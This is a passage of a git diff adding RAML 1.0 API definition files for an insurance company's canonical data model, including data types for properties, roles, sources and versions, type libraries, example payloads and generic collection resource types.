Entity Property +description: A generic type that can contain a typed name value pair. + +type: object +additionalProperties: false + +properties: + order: + description: When this type is used as an array the order field shows the where in the arraqy a specific element is placed + required: false + type: number + type: + displayName: Property Type Name + description: The type of the value, such as string, number, boolean, etc. Must be a primitive type, not an object type. + required: false + type: string + is-array: + required: false + type: boolean + delimiter: + required: false + type: string + name: + required: false + type: string + value: + required: false + type: string + masking-flag: + required: false + type: string + enum: + - to-be-masked + - masked + encryption-flag: + required: false + type: string + enum: + - to-be-encrypted + - encrypted +examples: + number-example: + value: + order: 1 + type: number + name: age + value: "45" + string-example: + value: + order: 5 + type: string + name: city + value: Atlanta + ssn-example: + value: + type: string + name: ssn + value: 2t5rRE4ew3ew== + encryption-flag: encrypted \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml new file mode 100644 index 0000000..2ed4982 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-role.raml @@ -0,0 +1,51 @@ +#%RAML 1.0 DataType + +uses: + master-key-lib: ../libraries/library-master-key.raml + property-lib: ../libraries/library-property.raml + contact-info-lib: ../libraries/library-contact-info.raml + +displayName: Role +description: Role applies to a party and describes the specifics of that party instance. For example, a party can be a person who is both a policyholder and an associate. This means that the same person has two roles. Some of the person's properties such as his name, gender and age may be common to all of his roles, while some other properties such as his policyholder ID is unique to his policyholder role and his associate ID is unique to his associate role. Sometimes there may be more than one system of record for this person and the data has to be collected and merged to get a complete picture. +type: object +additionalProperties: false + +properties: + id: + displayName: ID + description: The unique id of the instance represented by this role. For example, if the role-name is policyholder then this ID represents a specific policyholder + required: false + type: master-key-lib.master-key + + role-name: + displayName: Role name + description: | + Name of the role. Role names are listed in this documentation instead of an enumaration as new names may be added at any time. + Current Person based role names are + - Insurance Agreement Holder + - Policyholder + - Certificateholder + - Claimant + - Applicant + - Dependent + - Beneficiary + - Associate + - Employee + Current Organization based role names are + - Account + - Third Party Administrator + - Broker + required: false + type: string + + contact-information: + displayName: Role Contact Information + description: Contact Information for the role + required: false + type: contact-info-lib.contact-information + + statuses: + displayName: Role Statuses + description: the description of each status as an array + required: false + type: property-lib.properties \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml new file mode 100644 index 0000000..fe4a544 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-social-media-account.raml @@ -0,0 +1,28 @@ +#%RAML 1.0 DataType + +uses: + core: ../libraries/library-context-and-preference.raml + +displayName: Social Media Account Information + +type: [core.preferable, core.contextual] +additionalProperties: false + +properties: + platform-name: + displayName: Platform Name + description: The name of the social media platform such as Skype, WhatsApp, Twitter, Instagram, etc. + required: false + type: string + user-name: + displayName: User Name + required: false + type: string + +examples: + skype-example: + platform-name: Skype + user-name: JohnDoe2011 + facebook-example: + platform-name: Facebook + user-name: JohnDoe2011 diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml new file mode 100644 index 0000000..a280e59 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-source.raml @@ -0,0 +1,65 @@ +#%RAML 1.0 DataType +uses: + property-lib: ../libraries/library-property.raml + version-lib: ../libraries/library-version.raml + +displayName: Source +description: Source represents the location of persisted data and its unique identifier(s). This value can be provided to consumer services for routing and optimistic record locking purposes. Consumer applications should not see this value. + +type: object +additionalProperties: false + +properties: + source-name: + displayName: Source Name + description: The name of the Source System + required: false + type: string + source-code: + displayName: Source Code + description: The code abbreviation of the Source System + required: false + type: string + source-version: + displayName: Source Version + description: The version of the Source System in which the record exists + required: false + type: version-lib.version + record-creation-time: + displayName: Record Creation Time + description: Shows in GMT when a particular record has been created + required: false + type: datetime + record-last-updated-time: + displayName: Record Last Update Time + description: Shows in GMT when a particular record has been last updated + required: false + type: datetime + resource-keys: + displayName: Resource ID + description: | + An object can be identified combining several pieces of information, each of them a part of a composite key. + For example, a person can be identified by the combination of name, date and location of birth. + Name has 5 subcomponents, salutation, first, middle, last name and suffix. + date of birth has 3 subcomponents, month, day and year + location of birth has 3 subcomponents, city, state and country + altogether 11 subcomponents in a very specific order can identify a person + type: property-lib.properties + required: false + delimiter: + displayName: Delimiter + description: This is the character or character sequence that delimits individual key values + required: false + type: string + default: "~" + example: "~" + composite-key: + displayName: Composite Key + description: | + Composite key combines the values of each key component, places the delimiter between them and represents the object's id as a single string. + type: string + required: false + examples: + person-example: CIF(Mr.~John~F~Remedy~III~8~21~1964~Atlanta~GA~USA) + person-with-missing-values-example: WYN(~John~F~Remedy~~8~21~1964~Atlanta~GA~USA) + ssn-example: CIF(~~~~~~~~~~~~2rTe45ri8==) \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml new file mode 100644 index 0000000..3e175f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-version.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 DataType + +displayName: Version Information +description: Used to capture version information of software components and artifacts. The implementation of this type must be done in such a way so that when full field is edited major, minor and revision fields are automatically set to correct values and when any any of the major, minor or revision fields are edited the full field is repopulated with the correct values. + +type: object +additionalProperties: false + +properties: + major: + displayName: Major Version Number + required: false + type: string + example: "1" + minor: + displayName: Minor Version Number + required: false + type: string + example: "5" + revision: + displayName: Revision Number + required: false + type: string + example: "181_b1" + full: + displayName: Full Version Number + description: A combination of major.minor.revision that is usually dot delimited + required: false + type: string + example: "1.5.181_b1" + +example: + major: "1" + minor: "5" + revision: "181_b1" + full: "1.5.181_b1" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml new file mode 100644 index 0000000..651e0ff --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/docs/Legal.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 DocumentationItem +title: Legal +content: Add Legalese here that applies too all APIs \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml new file mode 100644 index 0000000..69e58ed --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-error.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +error-example: + value: + transaction-id: aaaaaaaa-bbbb-cccc-dddd-0123456789ab + type: Data error + message: String value was expected but number value received + time: 2018-05-31T15:00:06,325Z \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml new file mode 100644 index 0000000..0e77777 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-get-health-check.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 NamedExample +health-check-example: + value: + - context: experienceAPI-datacap-claims + code: "1" + short-description: healthy + - context: processAPI-claim-adjudicator + code: "1" + short-description: healthy + - context: systemAPI-wynsure-claims + code: "1" + short-description: healthy + - context: systemAPI-SQL-DB-claims + code: "404" + short-description: resource not found + long-description: The health check on systemAPI-SQL-DB-claims did not respond with success. Contact SQL Server DBA. \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml new file mode 100644 index 0000000..405e188 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/examples/example-performance-report.raml @@ -0,0 +1,23 @@ +#%RAML 1.0 NamedExample +performance-example: + value: + active: true + ns: + - n: ConsumerMachine + c: Provider A + t: 1230000000000 + d: dQ + - n: Server1 + c: Provider A + t: 1230000000150 + d: uQ + - n: ConsumerMachine + c: Provider A + t: 123000005400 + d: uS + s: "200" + - n: ConsumerMachine + c: Provider A + t: 123000005400 + d: dS + s: "200" \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json new file mode 100644 index 0000000..3704e99 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/exchange.json @@ -0,0 +1 @@ +{"main":"data-types/dataType-contact-information.raml","name":"aflac-canonical-definitions","classifier":"raml-fragment","tags":["trait"],"groupId":"f810f56f-6647-4b99-8172-a7212e2bd0fa","assetId":"aflac-canonical-definitions","version":"1.0.0","backwardsCompatible":false,"apiVersion":"v1","metadata":{"projectId":"18456417-f1e7-4671-9cba-faf5d7bf37bd","branchId":"master","commitId":"247afc996e8b6f557f5931064433bdd06c961433"}} \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml new file mode 100644 index 0000000..d1f3b6d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-address.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + address: !include ../data-types/dataType-address.raml + addresses: + displayName: Addresses + description: A collection of addresses + type: address[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml new file mode 100644 index 0000000..bf488f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-base.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + base: !include ../data-types/dataType-base.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml new file mode 100644 index 0000000..2bd7df4 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + basic-questions-set: !include ../data-types/dataType-basic-questions-set.raml + basic-questions-sets: + displayName: Basic Questions Array + description: Basic Questions Array + type: basic-questions-set[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml new file mode 100644 index 0000000..0dd6e6f --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + code-description: !include ../data-types/dataType-code-description.raml + code-descriptions: + displayName: Code Descriptions123 + description: a collection of code descriptionsabc + type: code-description[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml new file mode 100644 index 0000000..ede44f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + contact-information: !include ../data-types/dataType-contact-information.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml new file mode 100644 index 0000000..789943a --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 Library +types: + document-statistic: !include ../data-types/dataType-document-statistic.raml + content-data: !include ../data-types/dataType-content-data.raml + content-metadata: !include ../data-types/dataType-content-metadata.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml new file mode 100644 index 0000000..d5ed17e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 Library +types: + contextual: !include ../data-types/dataType-contextual.raml + preferable: !include ../data-types/dataType-preferable.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml new file mode 100644 index 0000000..a920d31 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + email-address: !include ../data-types/dataType-email-address.raml + email-addresses: + displayName: Email Addresses + description: A collection of email addresses + type: email-address[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml new file mode 100644 index 0000000..555c03d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 Library +uses: + master-lib: library-master-key.raml + source-lib: library-source.raml + property-lib: library-property.raml + +types: + entities: + displayName: Entities + description: an array of entities + type: entity[] + + entity: + displayName: Entity + description: Entity Description + type: object + additionalProperties: false + properties: + id: + required: false + type: master-lib.master-key + name: + required: false + type: string + type: + required: false + type: string + sources: + required: false + type: source-lib.sources + properties: + required: false + type: property-lib.properties + entities: + required: false + type: entities diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml new file mode 100644 index 0000000..9d99dec --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + error: !include ../data-types/dataType-error.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml new file mode 100644 index 0000000..2844c6c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + habit: !include ../data-types/dataType-habit.raml + habits: + displayName: Habits + description: a collection of habits + type: habit[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml new file mode 100644 index 0000000..f9b615f --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + language: !include ../data-types/dataType-language.raml + languages: + displayName: Languages + description: A collection of languages + type: language[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml new file mode 100644 index 0000000..4791131 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + master-key: !include ../data-types/dataType-master-key.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml new file mode 100644 index 0000000..f7af92e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 Library +types: + organization: !include ../data-types/dataType-organization.raml + organizations: organization[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml new file mode 100644 index 0000000..72a81c0 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +types: + party: !include ../data-types/dataType-party.raml + parties: + displayName: Parties + description: A collection of parties + type: party[] + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml new file mode 100644 index 0000000..d034861 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +types: + performance-node: !include ../data-types/dataType-performance-node.raml + performance-nodes: + displayName: Performance Nodes + description: A collection of performance nodes + type: performance-node[] + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml new file mode 100644 index 0000000..4682654 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + person-name: !include ../data-types/dataType-person-name.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml new file mode 100644 index 0000000..d099c42 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + person: !include ../data-types/dataType-person.raml + persons: + displayName: Persons + description: A collection of persons + type: person[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml new file mode 100644 index 0000000..c260df9 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + phone: !include ../data-types/dataType-phone.raml + phones: + displayName: Phones + description: A collection of phones + type: phone[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml new file mode 100644 index 0000000..bdb8711 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + property: !include ../data-types/dataType-property.raml + properties: + displayName: Entity Properties + description: A collection of entity properties + type: property[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml new file mode 100644 index 0000000..3952f5c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 Library +types: + role: !include ../data-types/dataType-role.raml + roles: + displayName: Roles + type: role[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml new file mode 100644 index 0000000..334f702 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + social-media-account: !include ../data-types/dataType-social-media-account.raml + social-media-accounts: + displayName: Social Media Accounts + description: A collection of social media accounts + type: social-media-account[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml new file mode 100644 index 0000000..50d41a7 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + source: !include ../data-types/dataType-source.raml + sources: + displayName: Sources + type: source[] + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml new file mode 100644 index 0000000..ad96cfc --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Library +traits: + selectable: !include ../traits/trait-selectable.raml + traceable: !include ../traits/trait-traceable.raml + routable: !include ../traits/trait-routable.raml + pageable: !include ../traits/trait-pageable.raml + filterable: !include ../traits/trait-filterable.raml + performance-monitorable: !include ../traits/trait-performance-monitorable.raml + sortable: !include ../traits/trait-sortable.raml + asynchronously-callable: !include ../traits/trait-asynchronously-callable.raml + identifyable: !include ../traits/trait-identifyable.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml new file mode 100644 index 0000000..94f6f1c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + version: !include ../data-types/dataType-version.raml + versions: + displayName: Versions + description: A collection of versions + type: version[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml new file mode 100644 index 0000000..295999c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml @@ -0,0 +1,51 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collection actions +usage: | + A collection action is a process that can be applied to a collection of resources. The action can only be taken with a POST. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post: + displayName: Execute an action on the selected records of a collection + description: Is used to execute an action on the selected records of a collection. + is: + - traits.selectable + - traits.filterable + - traits.pageable + - traits.sortable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + examples: <> + application/xml: + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. + body: + application/json: + examples: <> + application/xml: + examples: <> + 202: + description: The response when the operation is asynchronously called. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml new file mode 100644 index 0000000..a5a1393 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml @@ -0,0 +1,157 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collections +usage: | + When using this resource type the name of the data type must match the name of the resource path which needs to be a noun in plural form. For example, if the resource path is /users then the data type must be called users. + + Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post?: + displayName: Create new <> record(s) + description: Is used to add one or more <> records into the <> collection. Takes either a single <> object to create a single record or an array of <> objects to create multiple records. Can be called synchronously or asynchronously depending on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> | <> + examples: <> + application/xml: + type: <> | <> + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. It returns the created record(s). + body: + application/json: + type: <> | <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the operation is asynchronously called. It returns the acknowledgement and confirmation codes if any. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +delete?: + displayName: Delete selected <> records from <> collection + description: Is used to delete selected <> records from <> collection. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted. + + is: + - traits.selectable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 202: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +get?: + displayName: Search <> records + description: Is used to search <> records by providing a selection criteria. The results can be sorted, paged and contents can be filtered based on the implementation. + is: + - traits.selectable + - traits.sortable + - traits.pageable + - traits.filterable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +patch?: + displayName: Partially updates selected <> records + description: Is used to partially update one or more <> records in the <> collection. Input is the partial <> record that includes only the element values which is used to update the selected records. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.selectable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the requested has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml new file mode 100644 index 0000000..cbc1c7b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to item actions +usage: | + An item action is a process that can be applied to specific resource. The action can only be taken with a POST. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post: + displayName: Execute an action on the specific record. + description: Is used to execute an action on the specific record + is: + - traits.filterable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + examples: <> + application/xml: + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. + body: + application/json: + examples: <> + application/xml: + examples: <> + 202: + description: The response when the operation is asynchronously called. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml new file mode 100644 index 0000000..e8a23f9 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml @@ -0,0 +1,154 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collection items +usage: | + When using this resource type the name of the data type 